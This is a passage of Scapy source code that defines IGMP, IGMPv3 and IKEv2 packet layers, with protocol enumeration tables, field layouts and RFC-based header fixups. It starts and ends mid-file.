IGMP RFC The rules are: - General: 1. the Max Response time is meaningful only in Membership Queries and should be zero - IP: 1. Send General Group Query to 224.0.0.1 (all systems) 2. Send Leave Group to 224.0.0.2 (all routers) 3a.Otherwise send the packet to the group address 3b.Send reports/joins to the group address 4. ttl = 1 (RFC 2236, section 2) 5. send the packet with the router alert IP option (RFC 2236, section 2) - Ether: 1. Recalculate destination Returns: True The tuple ether/ip/self passed all check and represents a proper IGMP packet. False One of more validation checks failed and no fields were adjusted. The function will examine the IGMP message to assure proper format. Corrections will be attempted if possible. The IP header is then properly adjusted to ensure correct formatting and assignment. The Ethernet header is then adjusted to the proper IGMP packet format. """ from scapy.contrib.igmpv3 import IGMPv3 gaddr = self.gaddr if hasattr(self, "gaddr") and self.gaddr else "0.0.0.0" # noqa: E501 underlayer = self.underlayer if self.type not in [0x11, 0x30]: # General Rule 1 # noqa: E501 self.mrcode = 0 if isinstance(underlayer, IP): if (self.type == 0x11): if (gaddr == "0.0.0.0"): underlayer.dst = "224.0.0.1" # IP rule 1 # noqa: E501 elif isValidMCAddr(gaddr): underlayer.dst = gaddr # IP rule 3a # noqa: E501 else: warning("Invalid IGMP Group Address detected !") return False elif ((self.type == 0x17) and isValidMCAddr(gaddr)): underlayer.dst = "224.0.0.2" # IP rule 2 # noqa: E501 elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(gaddr)): # noqa: E501 underlayer.dst = gaddr # IP rule 3b # noqa: E501 elif (self.type in [0x11, 0x22, 0x30, 0x31, 0x32] and isinstance(self, IGMPv3)): pass else: warning("Invalid IGMP Type detected !") return False if not any(isinstance(x, IPOption_Router_Alert) for x in underlayer.options): # noqa: E501 underlayer.options.append(IPOption_Router_Alert()) underlayer.ttl = 1 # IP rule 4 _root = self.firstlayer() if _root.haslayer(Ether): # Force recalculate Ether dst _root[Ether].dst = getmacbyip(underlayer.dst) # Ether rule 1 # noqa: E501 if isinstance(self, IGMPv3): self.encode_maxrespcode() return True def mysummary(self): """Display a summary of the IGMP object.""" if isinstance(self.underlayer, IP): return self.underlayer.sprintf("IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%") # noqa: E501 else: return self.sprintf("IGMP %IGMP.type% %IGMP.gaddr%") bind_layers(IP, IGMP, frag=0, proto=2, ttl=1) ================================================ FILE: scapy/contrib/igmpv3.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Internet Group Management Protocol v3 (IGMPv3) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ FieldListField, IPField, PacketListField, ShortField, XShortField from scapy.compat import orb from scapy.layers.inet import IP from scapy.contrib.igmp import IGMP from scapy.config import conf """ Based on the following references http://www.iana.org/assignments/igmp-type-numbers http://www.rfc-editor.org/rfc/pdfrfc/rfc3376.txt.pdf """ # See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format # noqa: E501 # http://www.faqs.org/rfcs/rfc3376.html # # See RFC4286, For definitions of proper messages for Multicast Router Discovery. # noqa: E501 # http://www.faqs.org/rfcs/rfc4286.html # class IGMPv3(IGMP): """IGMP Message Class for v3. This class is derived from class Packet. The fields defined below are a direct interpretation of the v3 Membership Query Message. Fields 'type' through 'qqic' are directly assignable. For 'numsrc', do not assign a value. Instead add to the 'srcaddrs' list to auto-set 'numsrc'. To assign values to 'srcaddrs', use the following methods:: c = IGMPv3() c.srcaddrs = ['1.2.3.4', '5.6.7.8'] c.srcaddrs += ['192.168.10.24'] At this point, 'c.numsrc' is three (3) 'chksum' is automagically calculated before the packet is sent. 'mrcode' is also the Advertisement Interval field """ name = "IGMPv3" igmpv3types = {0x11: "Membership Query", 0x22: "Version 3 Membership Report", 0x30: "Multicast Router Advertisement", 0x31: "Multicast Router Solicitation", 0x32: "Multicast Router Termination"} fields_desc = [ByteEnumField("type", 0x11, igmpv3types), ByteField("mrcode", 20), XShortField("chksum", None)] def encode_maxrespcode(self): """Encode and replace the mrcode value to its IGMPv3 encoded time value if needed, # noqa: E501 as specified in rfc3376#section-4.1.1. If value < 128, return the value specified. If >= 128, encode as a floating # noqa: E501 point value. Value can be 0 - 31744. """ value = self.mrcode if value < 128: code = value elif value > 31743: code = 255 else: exp = 0 value >>= 3 while value > 31: exp += 1 value >>= 1 exp <<= 4 code = 0x80 | exp | (value & 0x0F) self.mrcode = code def mysummary(self): """Display a summary of the IGMPv3 object.""" if isinstance(self.underlayer, IP): return self.underlayer.sprintf("IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type%") # noqa: E501 else: return self.sprintf("IGMPv3 %IGMPv3.type%") @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 4: if orb(_pkt[0]) in [0x12, 0x16, 0x17]: return IGMP elif orb(_pkt[0]) == 0x11 and len(_pkt) < 12: return IGMP return IGMPv3 class IGMPv3mq(Packet): """IGMPv3 Membership Query. Payload of IGMPv3 when type=0x11""" name = "IGMPv3mq" fields_desc = [IPField("gaddr", "0.0.0.0"), BitField("resv", 0, 4), BitField("s", 0, 1), BitField("qrv", 0, 3), ByteField("qqic", 0), FieldLenField("numsrc", None, count_of="srcaddrs"), FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), count_from=lambda x: x.numsrc)] # noqa: E501 class IGMPv3gr(Packet): """IGMP Group Record for IGMPv3 Membership Report This class is derived from class Packet and should be added in the records of an instantiation of class IGMPv3mr. """ name = "IGMPv3gr" igmpv3grtypes = {1: "Mode Is Include", 2: "Mode Is Exclude", 3: "Change To Include Mode", 4: "Change To Exclude Mode", 5: "Allow New Sources", 6: "Block Old Sources"} fields_desc = [ByteEnumField("rtype", 1, igmpv3grtypes), ByteField("auxdlen", 0), FieldLenField("numsrc", None, count_of="srcaddrs"), IPField("maddr", "0.0.0.0"), FieldListField("srcaddrs", [], IPField("sa", "0.0.0.0"), count_from=lambda x: x.numsrc)] # noqa: E501 def mysummary(self): """Display a summary of the IGMPv3 group record.""" return self.sprintf("IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%") # noqa: E501 def default_payload_class(self, payload): return conf.padding_layer class IGMPv3mr(Packet): """IGMP Membership Report extension for IGMPv3. Payload of IGMPv3 when type=0x22""" name = "IGMPv3mr" fields_desc = [XShortField("res2", 0), FieldLenField("numgrp", None, count_of="records"), PacketListField("records", [], IGMPv3gr, count_from=lambda x: x.numgrp)] # noqa: E501 class IGMPv3mra(Packet): """IGMP Multicast Router Advertisement extension for IGMPv3. Payload of IGMPv3 when type=0x30""" name = "IGMPv3mra" fields_desc = [ShortField("qryIntvl", 0), ShortField("robust", 0)] bind_layers(IP, IGMPv3, frag=0, proto=2, ttl=1, tos=0xc0, dst='224.0.0.22') bind_layers(IGMPv3, IGMPv3mq, type=0x11) bind_layers(IGMPv3, IGMPv3mr, type=0x22, mrcode=0x0) bind_layers(IGMPv3, IGMPv3mra, type=0x30) ================================================ FILE: scapy/contrib/ikev2.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information """ Internet Key Exchange Protocol Version 2 (IKEv2), RFC 7296 """ # scapy.contrib.description = Internet Key Exchange Protocol Version 2 (IKEv2), RFC 7296 # scapy.contrib.status = loads import struct # Modified from the original ISAKMP code by Yaron Sheffer , June 2010. # noqa: E501 from scapy.packet import ( Packet, Raw, bind_bottom_up, bind_layers, bind_top_down, split_bottom_up, ) from scapy.fields import ( ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, FlagsField, IP6Field, IPField, IntField, MultiEnumField, MultipleTypeField, PacketField, PacketLenField, PacketListField, ShortEnumField, ShortField, StrLenField, X3BytesField, XByteField, XStrFixedLenField, XStrLenField, ) from scapy.layers.x509 import X509_Cert, X509_CRL from scapy.layers.inet import IP, UDP from scapy.layers.ipsec import NON_ESP from scapy.layers.isakmp import ISAKMP from scapy.sendrecv import sr from scapy.config import conf from scapy.volatile import RandString # see https://www.iana.org/assignments/ikev2-parameters for details IKEv2AttributeTypes = { 1: ( "Encryption", { 1: "DES-IV64", 2: "DES", 3: "3DES", 4: "RC5", 5: "IDEA", 6: "CAST", 7: "Blowfish", 8: "3IDEA", 9: "DES-IV32", 12: "AES-CBC", 13: "AES-CTR", 14: "AES-CCM-8", 15: "AES-CCM-12", 16: "AES-CCM-16", 18: "AES-GCM-8ICV", 19: "AES-GCM-12ICV", 20: "AES-GCM-16ICV", 23: "Camellia-CBC", 24: "Camellia-CTR", 25: "Camellia-CCM-8ICV", 26: "Camellia-CCM-12ICV", 27: "Camellia-CCM-16ICV", 28: "ChaCha20-Poly1305", 32: "Kuzneychik-MGM-KTREE", 33: "MAGMA-MGM-KTREE", } ), 2: ( "PRF", { 1: "PRF_HMAC_MD5", 2: "PRF_HMAC_SHA1", 3: "PRF_HMAC_TIGER", 4: "PRF_AES128_XCBC", 5: "PRF_HMAC_SHA2_256", 6: "PRF_HMAC_SHA2_384", 7: "PRF_HMAC_SHA2_512", 8: "PRF_AES128_CMAC", 9: "PRF_HMAC_STREEBOG_512", } ), 3: ( "Integrity", { 1: "HMAC-MD5-96", 2: "HMAC-SHA1-96", 3: "DES-MAC", 4: "KPDK-MD5", 5: "AES-XCBC-96", 6: "HMAC-MD5-128", 7: "HMAC-SHA1-160", 8: "AES-CMAC-96", 9: "AES-128-GMAC", 10: "AES-192-GMAC", 11: "AES-256-GMAC", 12: "SHA2-256-128", 13: "SHA2-384-192", 14: "SHA2-512-256", } ), 4: ( "GroupDesc", { 1: "768MODPgr", 2: "1024MODPgr", 5: "1536MODPgr", 14: "2048MODPgr", 15: "3072MODPgr", 16: "4096MODPgr", 17: "6144MODPgr", 18: "8192MODPgr", 19: "256randECPgr", 20: "384randECPgr", 21: "521randECPgr", 22: "1024MODP160POSgr", 23: "2048MODP224POSgr", 24: "2048MODP256POSgr", 25: "192randECPgr", 26: "224randECPgr", 27: "brainpoolP224r1gr", 28: "brainpoolP256r1gr", 29: "brainpoolP384r1gr", 30: "brainpoolP512r1gr", 31: "curve25519gr", 32: "curve448gr", 33: "GOST3410_2012_256", 34: "GOST3410_2012_512", } ), 5: ( "Extended Sequence Number", { 0: "No ESN", 1: "ESN" } ), } IKEv2TransformTypes = { tf_num: tf_name for tf_name, (tf_num, _) in IKEv2AttributeTypes.items() } IKEv2TransformAlgorithms = { tf_num: tf_dict for tf_num, (_, tf_dict) in IKEv2AttributeTypes.items() } IKEv2ProtocolTypes = { 1: "IKE", 2: "AH", 3: "ESP" } IKEv2AuthenticationTypes = { 0: "Reserved", 1: "RSA Digital Signature", 2: "Shared Key Message Integrity Code", 3: "DSS Digital Signature", 9: "ECDSA with SHA-256 on the P-256 curve", 10: "ECDSA with SHA-384 on the P-384 curve", 11: "ECDSA with SHA-512 on the P-521 curve", 12: "Generic Secure Password Authentication Method", 13: "NULL Authentication", 14: "Digital Signature" } IKEv2NotifyMessageTypes = { 1: "UNSUPPORTED_CRITICAL_PAYLOAD", 4: "INVALID_IKE_SPI", 5: "INVALID_MAJOR_VERSION", 7: "INVALID_SYNTAX", 9: "INVALID_MESSAGE_ID", 11: "INVALID_SPI", 14: "NO_PROPOSAL_CHOSEN", 17: "INVALID_KE_PAYLOAD", 24: "AUTHENTICATION_FAILED", 34: "SINGLE_PAIR_REQUIRED", 35: "NO_ADDITIONAL_SAS", 36: "INTERNAL_ADDRESS_FAILURE", 37: "FAILED_CP_REQUIRED", 38: "TS_UNACCEPTABLE", 39: "INVALID_SELECTORS", 40: "UNACCEPTABLE_ADDRESSES", 41: "UNEXPECTED_NAT_DETECTED", 42: "USE_ASSIGNED_HoA", 43: "TEMPORARY_FAILURE", 44: "CHILD_SA_NOT_FOUND", 45: "INVALID_GROUP_ID", 46: "AUTHORIZATION_FAILED", 47: "NOTIFY_STATE_NOT_FOUND", 16384: "INITIAL_CONTACT", 16385: "SET_WINDOW_SIZE", 16386: "ADDITIONAL_TS_POSSIBLE", 16387: "IPCOMP_SUPPORTED", 16388: "NAT_DETECTION_SOURCE_IP", 16389: "NAT_DETECTION_DESTINATION_IP", 16390: "COOKIE", 16391: "USE_TRANSPORT_MODE", 16392: "HTTP_CERT_LOOKUP_SUPPORTED", 16393: "REKEY_SA", 16394: "ESP_TFC_PADDING_NOT_SUPPORTED", 16395: "NON_FIRST_FRAGMENTS_ALSO", 16396: "MOBIKE_SUPPORTED", 16397: "ADDITIONAL_IP4_ADDRESS", 16398: "ADDITIONAL_IP6_ADDRESS", 16399: "NO_ADDITIONAL_ADDRESSES", 16400: "UPDATE_SA_ADDRESSES", 16401: "COOKIE2", 16402: "NO_NATS_ALLOWED", 16403: "AUTH_LIFETIME", 16404: "MULTIPLE_AUTH_SUPPORTED", 16405: "ANOTHER_AUTH_FOLLOWS", 16406: "REDIRECT_SUPPORTED", 16407: "REDIRECT", 16408: "REDIRECTED_FROM", 16409: "TICKET_LT_OPAQUE", 16410: "TICKET_REQUEST", 16411: "TICKET_ACK", 16412: "TICKET_NACK", 16413: "TICKET_OPAQUE", 16414: "LINK_ID", 16415: "USE_WESP_MODE", 16416: "ROHC_SUPPORTED", 16417: "EAP_ONLY_AUTHENTICATION", 16418: "CHILDLESS_IKEV2_SUPPORTED", 16419: "QUICK_CRASH_DETECTION", 16420: "IKEV2_MESSAGE_ID_SYNC_SUPPORTED", 16421: "IPSEC_REPLAY_COUNTER_SYNC_SUPPORTED", 16422: "IKEV2_MESSAGE_ID_SYNC", 16423: "IPSEC_REPLAY_COUNTER_SYNC", 16424: "SECURE_PASSWORD_METHODS", 16425: "PSK_PERSIST", 16426: "PSK_CONFIRM", 16427: "ERX_SUPPORTED", 16428: "IFOM_CAPABILITY", 16429: "SENDER_REQUEST_ID", 16430: "IKEV2_FRAGMENTATION_SUPPORTED", 16431: "SIGNATURE_HASH_ALGORITHMS", 16432: "CLONE_IKE_SA_SUPPORTED", 16433: "CLONE_IKE_SA", 16434: "IV2_NOTIFY_PUZZLE", 16435: "IV2_NOTIFY_USE_PPK", 16436: "IV2_NOTIFY_PPK_IDENTITY", 16437: "IV2_NOTIFY_NO_PPK_AUTH", 16438: "IV2_NOTIFY_INTERMEDIATE_EXCHANGE_SUPPORTED", 16439: "IV2_NOTIFY_IP4_ALLOWED", 16440: "IV2_NOTIFY_IP6_ALLOWED", 16441: "IV2_NOTIFY_ADDITIONAL_KEY_EXCHANGE", 16442: "IV2_NOTIFY_USE_AGGFRAG", } IKEv2GatewayIDTypes = { 1: "IPv4_addr", 2: "IPv6_addr", 3: "FQDN" } IKEv2CertificateEncodings = { 1: "PKCS #7 wrapped X.509 certificate", 2: "PGP Certificate", 3: "DNS Signed Key", 4: "X.509 Certificate - Signature", 6: "Kerberos Token", 7: "Certificate Revocation List (CRL)", 8: "Authority Revocation List (ARL)", 9: "SPKI Certificate", 10: "X.509 Certificate - Attribute", 11: "Raw RSA Key", 12: "Hash and URL of X.509 certificate", 13: "Hash and URL of X.509 bundle" } IKEv2TrafficSelectorTypes = { 7: "TS_IPV4_ADDR_RANGE", 8: "TS_IPV6_ADDR_RANGE", 9: "TS_FC_ADDR_RANGE" } IKEv2ConfigurationPayloadCFGTypes = { 1: "CFG_REQUEST", 2: "CFG_REPLY", 3: "CFG_SET", 4: "CFG_ACK" } IKEv2ConfigurationAttributeTypes = { 1: "INTERNAL_IP4_ADDRESS", 2: "INTERNAL_IP4_NETMASK", 3: "INTERNAL_IP4_DNS", 4: "INTERNAL_IP4_NBNS", 6: "INTERNAL_IP4_DHCP", 7: "APPLICATION_VERSION", 8: "INTERNAL_IP6_ADDRESS", 10: "INTERNAL_IP6_DNS", 12: "INTERNAL_IP6_DHCP", 13: "INTERNAL_IP4_SUBNET", 14: "SUPPORTED_ATTRIBUTES", 15: "INTERNAL_IP6_SUBNET", 16: "MIP6_HOME_PREFIX", 17: "INTERNAL_IP6_LINK", 18: "INTERNAL_IP6_PREFIX", 19: "HOME_AGENT_ADDRESS", 20: "P_CSCF_IP4_ADDRESS", 21: "P_CSCF_IP6_ADDRESS", 22: "FTT_KAT", 23: "EXTERNAL_SOURCE_IP4_NAT_INFO", 24: "TIMEOUT_PERIOD_FOR_LIVENESS_CHECK", 25: "INTERNAL_DNS_DOMAIN", 26: "INTERNAL_DNSSEC_TA" } IPProtocolIDs = { 0: "All protocols", 1: "Internet Control Message Protocol", 2: "Internet Group Management Protocol", 3: "Gateway-to-Gateway Protocol", 4: "IP in IP (encapsulation)", 5: "Internet Stream Protocol", 6: "Transmission Control Protocol", 7: "Core-based trees", 8: "Exterior Gateway Protocol", 9: "Interior Gateway Protocol (any private interior gateway (used by Cisco for their IGRP))", # noqa: E501 10: "BBN RCC Monitoring", 11: "Network Voice Protocol", 12: "Xerox PUP", 13: "ARGUS", 14: "EMCON", 15: "Cross Net Debugger", 16: "Chaos", 17: "User Datagram Protocol", 18: "Multiplexing", 19: "DCN Measurement Subsystems", 20: "Host Monitoring Protocol", 21: "Packet Radio Measurement", 22: "XEROX NS IDP", 23: "Trunk-1", 24: "Trunk-2", 25: "Leaf-1", 26: "Leaf-2", 27: "Reliable Datagram Protocol", 28: "Internet Reliable Transaction Protocol", 29: "ISO Transport Protocol Class 4", 30: "Bulk Data Transfer Protocol", 31: "MFE Network Services Protocol", 32: "MERIT Internodal Protocol", 33: "Datagram Congestion Control Protocol", 34: "Third Party Connect Protocol", 35: "Inter-Domain Policy Routing Protocol", 36: "Xpress Transport Protocol", 37: "Datagram Delivery Protocol", 38: "IDPR Control Message Transport Protocol", 39: "TP++ Transport Protocol", 40: "IL Transport Protocol", 41: "IPv6 Encapsulation", 42: "Source Demand Routing Protocol", 43: "Routing Header for IPv6", 44: "Fragment Header for IPv6", 45: "Inter-Domain Routing Protocol", 46: "Resource Reservation Protocol", 47: "Generic Routing Encapsulation", 48: "Mobile Host Routing Protocol", 49: "BNA", 50: "Encapsulating Security Payload", 51: "Authentication Header", 52: "Integrated Net Layer Security Protocol", 53: "SwIPe", 54: "NBMA Address Resolution Protocol", 55: "IP Mobility (Min Encap)", 56: "Transport Layer Security Protocol (using Kryptonet key management)", 57: "Simple Key-Management for Internet Protocol", 58: "ICMP for IPv6", 59: "No Next Header for IPv6", 60: "Destination Options for IPv6", 61: "Any host internal protocol", 62: "CFTP", 63: "Any local network", 64: "SATNET and Backroom EXPAK", 65: "Kryptolan", 66: "MIT Remote Virtual Disk Protocol", 67: "Internet Pluribus Packet Core", 68: "Any distributed file system", 69: "SATNET Monitoring", 70: "VISA Protocol", 71: "Internet Packet Core Utility", 72: "Computer Protocol Network Executive", 73: "Computer Protocol Heart Beat", 74: "Wang Span Network", 75: "Packet Video Protocol", 76: "Backroom SATNET Monitoring", 77: "SUN ND PROTOCOL-Temporary", 78: "WIDEBAND Monitoring", 79: "WIDEBAND EXPAK", 80: "International Organization for Standardization Internet Protocol", 81: "Versatile Message Transaction Protocol", 82: "Secure Versatile Message Transaction Protocol", 83: "VINES", 84: "Internet Protocol Traffic Manager", 85: "NSFNET-IGP", 86: "Dissimilar Gateway Protocol", 87: "TCF", 88: "EIGRP", 89: "Open Shortest Path First", 90: "Sprite RPC Protocol", 91: "Locus Address Resolution Protocol", 92: "Multicast Transport Protocol", 93: "AX.25", 94: "IP-within-IP Encapsulation Protocol", 95: "Mobile Internetworking Control Protocol", 96: "Semaphore Communications Sec. Pro", 97: "Ethernet-within-IP Encapsulation", 98: "Encapsulation Header", 99: "Any private encryption scheme", 100: "GMTP", 101: "Ipsilon Flow Management Protocol", 102: "PNNI over IP", 103: "Protocol Independent Multicast", 104: "IBM's ARIS (Aggregate Route IP Switching) Protocol", 105: "SCPS (Space Communications Protocol Standards)", 106: "QNX", 107: "Active Networks", 108: "IP Payload Compression Protocol", 109: "Sitara Networks Protocol", 110: "Compaq Peer Protocol", 111: "IPX in IP", 112: "Virtual Router Redundancy Protocol, Common Address Redundancy Protocol (not IANA assigned)", # noqa: E501 113: "PGM Reliable Transport Protocol", 114: "Any 0-hop protocol", 115: "Layer Two Tunneling Protocol Version 3", 116: "D-II Data Exchange (DDX)", 117: "Interactive Agent Transfer Protocol", 118: "Schedule Transfer Protocol", 119: "SpectraLink Radio Protocol", 120: "Universal Transport Interface Protocol", 121: "Simple Message Protocol", 122: "Simple Multicast Protocol", 123: "Performance Transparency Protocol", 124: "Intermediate System to Intermediate System (IS-IS) Protocol over IPv4", # noqa: E501 125: "Flexible Intra-AS Routing Environment", 126: "Combat Radio Transport Protocol", 127: "Combat Radio User Datagram", 128: "Service-Specific Connection-Oriented Protocol in a Multilink and Connectionless Environment", # noqa: E501 129: "IPLT", 130: "Secure Packet Shield", 131: "Private IP Encapsulation within IP", 132: "Stream Control Transmission Protocol", 133: "Fibre Channel", 134: "Reservation Protocol (RSVP) End-to-End Ignore", 135: "Mobility Extension Header for IPv6", 136: "Lightweight User Datagram Protocol", 137: "Multiprotocol Label Switching Encapsulated in IP", 138: "MANET Protocols", 139: "Host Identity Protocol", 140: "Site Multihoming by IPv6 Intermediation", 141: "Wrapped Encapsulating Security Payload", 142: "Robust Header Compression", } IKEv2PayloadTypes = { 0: "None", 2: "Proposal", # used only inside the SA payload 3: "Transform", # used only inside the SA payload 33: "SA", 34: "KE", 35: "IDi", 36: "IDr", 37: "CERT", 38: "CERTREQ", 39: "AUTH", 40: "Nonce", 41: "Notify", 42: "Delete", 43: "VendorID", 44: "TSi", 45: "TSr", 46: "Encrypted", 47: "CP", 48: "EAP", 49: "GSPM", 50: "IDg", 51: "GSA", 52: "KD", 53: "Encrypted_Fragment", 54: "PS" } IKEv2ExchangeTypes = { 34: "IKE_SA_INIT", 35: "IKE_AUTH", 36: "CREATE_CHILD_SA", 37: "INFORMATIONAL", 38: "IKE_SESSION_RESUME", 43: "IKE_INTERMEDIATE" } class _IKEv2_Packet(Packet): def default_payload_class(self, payload): return IKEv2_Payload if self.next_payload else conf.raw_layer class IKEv2(_IKEv2_Packet): # rfc4306 name = "IKEv2" fields_desc = [ XStrFixedLenField("init_SPI", "", 8), XStrFixedLenField("resp_SPI", "", 8), ByteEnumField("next_payload", 0, IKEv2PayloadTypes), XByteField("version", 0x20), ByteEnumField("exch_type", 0, IKEv2ExchangeTypes), FlagsField("flags", 0, 8, ["res0", "res1", "res2", "Initiator", "Version", "Response", "res6", "res7"]), # noqa: E501 IntField("id", 0), IntField("length", None) # Length of total message: packets + all payloads # noqa: E501 ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 18: version = struct.unpack("!B", _pkt[17:18])[0] if version < 0x20: return ISAKMP return cls def answers(self, other): if isinstance(other, IKEv2): if other.init_SPI == self.init_SPI: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24] + struct.pack("!I", len(p)) + p[28:] return p class IKEv2_Key_Length_Attribute(IntField): # We only support the fixed-length Key Length attribute (the only one currently defined) # noqa: E501 def __init__(self, name): IntField.__init__(self, name, 0x800E0000) def i2h(self, pkt, x): return IntField.i2h(self, pkt, x & 0xFFFF) def h2i(self, pkt, x): return IntField.h2i(self, pkt, (x if x is not None else 0) | 0x800E0000) # noqa: E501 class IKEv2_Payload(_IKEv2_Packet): name = "IKEv2 Payload" fields_desc = [ ByteEnumField("next_payload", None, IKEv2PayloadTypes), FlagsField("flags", 0, 8, {0x80: "critical"}), ShortField("length", None), XStrLenField("load", "", length_from=lambda pkt: pkt.length - 4), ] def post_build(self, pkt, pay): if self.length is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] return pkt + pay class IKEv2_Transform(IKEv2_Payload): name = "IKEv2 Transform" fields_desc = IKEv2_Payload.fields_desc[:2] + [ ShortField("length", 8), # can't be None, because 'key_length' depends on it ByteEnumField("transform_type", None, IKEv2TransformTypes), ByteField("res2", 0), MultiEnumField("transform_id", None, IKEv2TransformAlgorithms, depends_on=lambda pkt: pkt.transform_type, fmt="H"), # noqa: E501 ConditionalField(IKEv2_Key_Length_Attribute("key_length"), lambda pkt: pkt.length > 8), # noqa: E501 ] class IKEv2_Proposal(IKEv2_Payload): name = "IKEv2 Proposal" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteField("proposal", 1), ByteEnumField("proto", 1, IKEv2ProtocolTypes), FieldLenField("SPIsize", None, "SPI", "B"), ByteField("trans_nb", None), XStrLenField("SPI", "", length_from=lambda pkt: pkt.SPIsize), PacketLenField("trans", conf.raw_layer(), IKEv2_Transform, length_from=lambda pkt: pkt.length - 8 - pkt.SPIsize), # noqa: E501 ] class IKEv2_AUTH(IKEv2_Payload): name = "IKEv2 Authentication" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteEnumField("auth_type", None, IKEv2AuthenticationTypes), X3BytesField("res2", 0), XStrLenField("load", "", length_from=lambda pkt: pkt.length - 8), ] class IKEv2_VendorID(IKEv2_Payload): name = "IKEv2 Vendor ID" fields_desc = IKEv2_Payload.fields_desc[:3] + [ XStrLenField("vendorID", "", length_from=lambda pkt: pkt.length - 4), ] class TrafficSelector(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 16: ts_type = struct.unpack("!B", _pkt[0:1])[0] if ts_type == 7: return IPv4TrafficSelector elif ts_type == 8: return IPv6TrafficSelector elif ts_type == 9: return EncryptedTrafficSelector else: return RawTrafficSelector return IPv4TrafficSelector def extract_padding(self, s): return '', s class IPv4TrafficSelector(TrafficSelector): name = "IKEv2 IPv4 Traffic Selector" fields_desc = [ ByteEnumField("TS_type", 7, IKEv2TrafficSelectorTypes), ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), ShortField("length", 16), ShortField("start_port", 0), ShortField("end_port", 65535), IPField("starting_address_v4", "192.168.0.1"), IPField("ending_address_v4", "192.168.0.255"), ] class IPv6TrafficSelector(TrafficSelector): name = "IKEv2 IPv6 Traffic Selector" fields_desc = [ ByteEnumField("TS_type", 8, IKEv2TrafficSelectorTypes), ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), ShortField("length", 20), ShortField("start_port", 0), ShortField("end_port", 65535), IP6Field("starting_address_v6", "2001::"), IP6Field("ending_address_v6", "2001::"), ] class EncryptedTrafficSelector(TrafficSelector): name = "IKEv2 Encrypted Traffic Selector" fields_desc = [ ByteEnumField("TS_type", 9, IKEv2TrafficSelectorTypes), ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), ShortField("length", 16), ByteField("res", 0), X3BytesField("starting_address_FC", 0), ByteField("res2", 0), X3BytesField("ending_address_FC", 0), ByteField("starting_R_CTL", 0), ByteField("ending_R_CTL", 0), ByteField("starting_type", 0), ByteField("ending_type", 0), ] class RawTrafficSelector(TrafficSelector): name = "IKEv2 Encrypted Traffic Selector" fields_desc = [ ByteEnumField("TS_type", None, IKEv2TrafficSelectorTypes), ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x: x + 4), PacketField("load", "", Raw) ] class IKEv2_TSi(IKEv2_Payload): name = "IKEv2 Traffic Selector - Initiator" fields_desc = IKEv2_Payload.fields_desc[:3] + [ FieldLenField("number_of_TSs", None, fmt="B", count_of="traffic_selector"), X3BytesField("res2", 0), PacketListField("traffic_selector", None, TrafficSelector, length_from=lambda pkt: pkt.length - 8, count_from=lambda pkt: pkt.number_of_TSs), ] class IKEv2_TSr(IKEv2_Payload): name = "IKEv2 Traffic Selector - Responder" fields_desc = IKEv2_Payload.fields_desc[:3] + [ FieldLenField("number_of_TSs", None, fmt="B", count_of="traffic_selector"), X3BytesField("res2", 0), PacketListField("traffic_selector", None, TrafficSelector, length_from=lambda pkt: pkt.length - 8, count_from=lambda pkt: pkt.number_of_TSs), ] class IKEv2_Delete(IKEv2_Payload): name = "IKEv2 Delete" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteEnumField("proto", None, {0: "Reserved", 1: "IKE", 2: "AH", 3: "ESP"}), # noqa: E501 FieldLenField("SPIsize", None, "SPI", "B"), ShortField("SPInum", 0), FieldListField("SPI", [], XStrLenField("", "", length_from=lambda pkt: pkt.SPIsize), count_from=lambda pkt: pkt.SPInum) ] class IKEv2_SA(IKEv2_Payload): name = "IKEv2 SA" fields_desc = IKEv2_Payload.fields_desc[:3] + [ PacketLenField("prop", conf.raw_layer(), IKEv2_Proposal, length_from=lambda pkt: pkt.length - 4), # noqa: E501 ] class IKEv2_Nonce(IKEv2_Payload): name = "IKEv2 Nonce" fields_desc = IKEv2_Payload.fields_desc[:3] + [ XStrLenField("nonce", "", length_from=lambda pkt: pkt.length - 4), ] class IKEv2_Notify(IKEv2_Payload): name = "IKEv2 Notify" fields_desc = IKEv2_Payload.fields_desc[:3] + [ ByteEnumField("proto", None, IKEv2ProtocolTypes), FieldLenField("SPIsize", None, "SPI", "B"), ShortEnumField("type", 0, IKEv2NotifyMessageTypes), XStrLenField("SPI", "", length_from=lambda pkt: pkt.SPIsize), ConditionalField( XStrLenField("notify", "", length_from=lambda pkt: pkt.length - 8 - pkt.SPIsize), lambda pkt: pkt.type not in (16407, 16408) ), ConditionalField( # REDIRECT, REDIRECTED_FROM (RFC 5685) ByteEnumField("gw_id_type", 1, IKEv2GatewayIDTypes), lambda pkt: pkt.type in (16407, 16408) ), ConditionalField( # REDIRECT, REDIRECTED_FROM (RFC 5685) FieldLenField("gw_id_len", None, "gw_id", "B"), lambda pkt: pkt.type in (16407, 16408) ), ConditionalField( # REDIRECT, REDIRECTED_FROM (RFC 5685) MultipleTypeField( [ (IPField("gw_id", "127.0.0.1"), lambda x: x.gw_id_type == 1), (IP6Field("gw_id", "::1"), lambda x: x.gw_id_type == 2), ], StrLenField("gw_id", 